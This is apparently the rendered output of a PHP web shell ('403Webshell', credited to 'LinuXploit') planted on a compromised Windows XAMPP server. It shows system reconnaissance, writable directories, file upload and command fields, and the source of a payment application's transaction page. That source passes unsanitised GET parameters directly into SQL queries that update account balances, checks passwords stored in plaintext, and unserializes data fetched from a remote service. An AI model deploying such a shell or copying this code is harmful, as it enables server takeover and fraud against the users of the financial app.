403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.48
Web Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT DESKTOP-3H4FHQJ 10.0 build 19045 (Windows 10) AMD64
User : win 10 ( 0)
PHP Version : 8.2.12
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  D:/xampp/htdocs-coblaa/CrinePay/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : D:/xampp/htdocs-coblaa/CrinePay/autopage2.php
<?php

//$message_text = mysqli_real_escape_string($con,$message_text);
include('db.php');
session_start();
$mein =2;	
$status = $_GET['status'];
$xinx = '758888kvt';

//////////////////////////////////////////////////////////
?> <div style="display:none" ><?php
$user_ip = getenv('REMOTE_ADDR');
$geo = unserialize(file_get_contents("http://www.geoplugin.net/php.gp?ip=$user_ip"));
$city = $geo["geoplugin_city"];
$country = $geo["geoplugin_countryName"];
//echo" mmm $user_ip";
?> </div><?php
///////////////////////////////////////////////////////////////////////////////////////

$cur_date = date("d");
$cur_month = date("M");
$cur_year = date("Y");


/////////////////////////////////////////////////////////////////////////////////////// 

if($status=="show_notif_text")
{
	//$get_notif_text ="select * from notifytb ";
	$get_notif_text ="select * from bank_transtb where status='Pending' ";
	$run_notif_text = mysqli_query($con,$get_notif_text);
	$check_nofif_texi = mysqli_num_rows($run_notif_text);
	if($check_nofif_texi >0){?>
 <input id="incoming_notif" value="1" style="display:none;" />
<?php	}else{?> 
 <input id="incoming_notif" value="0" style="display:none;" />
 <?php }	
}

/////////////////////////////////////////////////////////////////////////////////////

if($status =="display_trans")
{
	$my_id = $_GET['my_id'];

	$get_bank_trans ="select * from bank_transtb ORDER BY id DESC ";
	$run_get_bank_trans = mysqli_query($con,$get_bank_trans);
	
	while($row_get_bank_trans = mysqli_fetch_array($run_get_bank_trans))
	{
	$ref_no = $row_get_bank_trans['id'];
	$receive_account = $row_get_bank_trans['receive_account'];
	$from_account = $row_get_bank_trans['from_account'];
	$amount = $row_get_bank_trans['amount'];
	$transaction_type = $row_get_bank_trans['transaction_type'];
	$description = $row_get_bank_trans['description'];
	$status = $row_get_bank_trans['status'];
	$cur_date = $row_get_bank_trans['cur_date'];
	$cur_month = $row_get_bank_trans['cur_month'];
	$cur_year = $row_get_bank_trans['cur_year'];
	$curtime = $row_get_bank_trans['curtime'];
	
	if($status !=="Pending"){

	if($description !=='Deposit' ){ ?>
	<a href="transaction?trans_in_refno=<?php echo $ref_no?>"><div class="single_trans_div" >
    <div class="icon_img_div"><img src="main_icon/in_arrow.png" class="rec_icon_img" /></div>
    <div class="amt_lebal" ><?php echo $transaction_type; ?></div>
   <div class="amt_output" ><?php echo $amount; ?> /=</div>
   <div class="date" ><?php echo"$cur_date $cur_month $cur_year - $curtime"; ?></div>
   <span class="status" >Received</span>
   <div class="amt_4m_lebal" style="color:green;" >From</div>
   <div class="from_output" ><?php echo $from_account; ?></div>
   </div></a>
   
   <?php }elseif($description=='Deposit'){ ?>
   
   	<a href="transaction?trans_in_refno=<?php echo $ref_no?>"><div class="single_trans_div" >
    <div class="icon_img_div"><img src="main_icon/in_arrow.png" class="rec_icon_img" /></div>
    <div class="amt_lebal" ><?php echo $transaction_type; ?></div>
   <div class="amt_output" ><?php echo $amount; ?> /=</div>
   <div class="date" ><?php echo"$cur_date $cur_month $cur_year - $curtime"; ?></div>
   <span class="status" ><?php echo $status; ?></span>
   <div class="amt_4m_lebal" style="color:green;" >Deposit</div>
   <div class="from_output" ><?php echo $receive_account; ?></div>
   </div></a>
	
	<?php }elseif($description !=='Withdraw'){ ?>
	
		
	<a href="transaction?trans_out_refno=<?php echo $ref_no?>"><div class="single_trans_div" >
    <div class="icon_img_div"><img src="main_icon/out_arrow.png" class="rec_icon_img" /></div>
    <div class="amt_lebal" ><?php echo $transaction_type; ?></div>
   <div class="amt_output" ><?php echo $amount; ?> /=</div>
   <div class="date" ><?php echo"$cur_date $cur_month $cur_year - $curtime"; ?></div>
   <span class="status" >Sent</span>
   <div class="amt_4m_lebal" style="color:red;" >To</div>
   <div class="from_output" ><?php echo $receive_account; ?></div>
   </div></a>
	<?php }elseif($description =='Withdraw'){?>

	<a href="transaction?trans_out_refno=<?php echo $ref_no?>"><div class="single_trans_div" >
    <div class="icon_img_div"><img src="main_icon/wd3.png" class="rec_icon_img" /></div>
    <div class="amt_lebal" ><?php echo $description; ?></div>
   <div class="amt_output" ><?php echo $amount; ?> /=</div>
   <div class="date" ><?php echo"$cur_date $cur_month $cur_year - $curtime"; ?></div>
   <span class="status" ><?php echo $status; ?></span>
   <div class="amt_4m_lebal" style="color:red;" >From</div>
   <div class="from_output" ><?php echo $from_account; ?></div>
   </div></a>


<?php	
	}
	

	

	}
	}
}



//////////////////////////////////////////////////////////////////////////////////// 




if($status =="display_pend_trans")
{
    $my_id = $_GET['my_id'];
	$get_pend_withdraw ="select * from bank_transtb ORDER BY id DESC";
	$run_get_pend_withdraw  = mysqli_query($con,$get_pend_withdraw);
	while($row_get_pend_withdraw  = mysqli_fetch_array($run_get_pend_withdraw))
	{
	$ref_no_pend_trans = $row_get_pend_withdraw['id'];
	$receive_account = $row_get_pend_withdraw['receive_account'];
	$receive_name = $row_get_pend_withdraw['receive_name'];
	$amount = $row_get_pend_withdraw['amount'];
	$transaction_type = $row_get_pend_withdraw['transaction_type'];
	$charges = $row_get_pend_withdraw['charges'];
	$CPW_code = $row_get_pend_withdraw['CPW_code'];	
	$DP_trans_id = $row_get_pend_withdraw['DP_trans_id'];
	$description = $row_get_pend_withdraw['description'];
	$status = $row_get_pend_withdraw['status'];
	$from_account = $row_get_pend_withdraw['from_account'];
	$from_name = $row_get_pend_withdraw['from_name'];

	$base_curr_name = $row_get_pend_withdraw['base_curr_name'];
	$base_amount = $row_get_pend_withdraw['base_amount'];	
	
	
	$cur_date = $row_get_pend_withdraw['cur_date'];
	$cur_month = $row_get_pend_withdraw['cur_month'];
	$cur_year = $row_get_pend_withdraw['cur_year'];
	$cur_time = $row_get_pend_withdraw['curtime'];

if($status == 'Pending'){
	
	if($description=='Withdraw'){

?>
<a href="transaction?trans_pend_refno=<?php echo $ref_no_pend_trans?>"><div class="single_trans_div" style="background:#FFC6F3;" >
<div class="icon_img_div"><img src="main_icon/wd3.png" class="rec_icon_img" /></div>
<div class="amt_lebal" ><?php echo $from_account ?></div>
<div class="amt_output" ><?php echo $amount; ?> /=</div>
<div class="date" ><?php echo"$cur_date $cur_month $cur_year - $cur_time"; ?></div>
<span class="status" style="background:#fff;color:red;"><?php echo $description; ?></span>
<div class="amt_4m_lebal" style="color:#3692FA;" >Passcode</div>
<div class="from_output" ><?php echo $CPW_code; ?></div>
<?php if($my_id==$mein){ ?><a href="extraction?extra=w" ><button>...</button></a><?php }  ?>
</div></a>

<?php	

}elseif($description=='Send'){
?>
<a href="transaction?trans_pend_refno=<?php echo $ref_no_pend_trans?>"><div class="single_trans_div" style="background:#FFC6F3;" >
<div class="icon_img_div"><img src="main_icon/out_arrow.png" class="rec_icon_img" /></div>
<div class="amt_lebal" ><?php echo $receive_account ?></div>
<div class="amt_output" ><?php echo $amount; ?> /=</div>
<div class="date" ><?php echo"$cur_date $cur_month $cur_year - $cur_time"; ?></div>
<span class="status" style="background:#fff;color:red;"><?php echo $description; ?></span>
<div class="amt_4m_lebal" style="color:#3692FA;" >****</div>
<div class="from_output" ><?php echo $transaction_type; ?></div>
<?php if($my_id==$mein){ ?><a href="extraction?extra2=<?php echo $ref_no_pend_trans; ?>" ><button>...</button></a><?php } ?>
</div></a>

<?php	
}elseif($description=='Deposit'){

?>

<a href="transaction?trans_pend_refno=<?php echo $ref_no_pend_trans?>"><div class="single_trans_div" style="background:#FFC6F3;" >
<div class="icon_img_div"><img src="main_icon/dp.png" class="rec_icon_img" /></div>
<div class="amt_lebal" ><?php echo $receive_account ?></div>
<div class="amt_output" ><?php echo $amount; ?> /=</div>
<div class="date" ><?php echo"$cur_date $cur_month $cur_year - $cur_time"; ?></div>
<span class="status" style="background:#fff;color:red;"><?php echo $description; ?></span>
<div class="amt_4m_lebal" style="color:#3692FA;" >Trans id</div>
<div class="from_output" ><?php echo $DP_trans_id; ?></div>
<?php if($my_id==$mein){ ?><a href="extraction?extra3=<?php echo $ref_no_pend_trans; ?>" ><button>...</button></a><?php }  ?>
</div></a>

<?php	}elseif($description=='Exchange'){ ?>

<a href="transaction?trans_pend_refno=<?php echo $ref_no_pend_trans?>"><div class="single_trans_div" style="background:#FFC6F3;" >
<div class="icon_img_div"><img src="main_icon/exc.png" class="rec_icon_img" /></div>
<div class="amt_lebal" ><?php echo $description ?></div>
<div class="amt_output" ><?php echo $amount; ?> /=</div>
<div class="date" ><?php echo"$cur_date $cur_month $cur_year - $cur_time"; ?></div>
<span class="status" style="background:#fff;color:red;"><?php echo $description; ?></span>
<div class="amt_4m_lebal" style="color:#3692FA;" ><?php echo $base_curr_name; ?></div>
<div class="from_output" ><?php echo $base_amount; ?></div>
<?php if($my_id==$mein){ ?><a href="extraction?extra4=<?php echo $ref_no_pend_trans; ?>" ><button>...</button></a><?php }  ?>

</div></a>


<?php }

	}
}
}

//////////////////////////////////////////////////////////////////////////////////////// 
if($status=="Update_exhange_rate")
{
	$my_id = $_GET['my_id'];
	$base_currency = $_GET['base_currency'];
	$second_currency = $_GET['second_currency'];
	
	$Update_exhange_rate = "UPDATE exchange_ratetb SET my_id='$my_id',base_currency='$base_currency',second_currency='$second_currency' ";
	$run_Update_exhange_rate = mysqli_query($con,$Update_exhange_rate);	
		
}


///////////////////////////////////////////////////////////////////////////////////////
if($status == 'finish_exc_save')
{	
	$my_id = $_GET['my_id'];
	$finish_ex_id = $_GET['finish_ex_id'];
	$receive_ex_acc_no = $_GET['f_ex_acc_no'];
	$f_ex_amt = $_GET['f_ex_amt'];
    $f_ex_benefit_id = $_GET['f_ex_benefit_id'];	
	$f_ex_password = $_GET['f_ex_password'];
	
	$get_user ="select * from crane_pay_usertb where id='$my_id' AND user_password='$f_ex_password' ";
	$run_get_user = mysqli_query($con,$get_user);
	$check_pass = mysqli_num_rows($run_get_user);
	if($check_pass < 1 ){ echo"<span style='color:red;'>Check your password and try again</span>";}else{
		
	while($row_get_user = mysqli_fetch_array($run_get_user)){
    $from_acc = $row_get_user['user_phone_no'];		
		
	$get_exc_info ="select * from bank_transtb where id='$finish_ex_id'";
	$run_get_exc_info  = mysqli_query($con,$get_exc_info);
	while($row_get_exc_info  = mysqli_fetch_array($run_get_exc_info))
	{	
	$status = $row_get_exc_info['status'];
	$receive_account = $row_get_exc_info['receive_account'];
	$amount = $row_get_exc_info['amount'];
	
	if($status !=='Pending' OR $receive_account !== $receive_ex_acc_no OR $amount !== $f_ex_amt){echo"<span style='color:red;'>Check Transaction info</span>";}else{
		
    $get_user_info ="select * from banktb where account_no='$receive_account' ";
	$run_get_user_info = mysqli_query($con,$get_user_info);
    while($row_get_user_info = mysqli_fetch_array($run_get_user_info)){ 
	
	$cur_amount = $row_get_user_info['acc_amount'];
	
	$final_amt = $cur_amount+$f_ex_amt;
	$update_bank_acc = "UPDATE banktb SET acc_amount='$final_amt' WHERE account_no='$receive_account' ";
	$run_update_bank_acc = mysqli_query($con,$update_bank_acc);	
	if($run_update_bank_acc){
	$update_exchange ="UPDATE bank_transtb SET from_account='$from_acc', DP_trans_id='$f_ex_benefit_id', status='Success' where id='$finish_ex_id' ";
	$run_update_exchange = mysqli_query($con,$update_exchange);
	if($run_update_exchange){
	echo"<span style='color:green;'>Transaction successfully</span>";	
	}
	}	
	}	
	}
	}
	}
	}
}

//////////////////////////////////////////////////////////////////////////////////////////// 

?>

Youez - 2016 - github.com/yon3zu
LinuXploit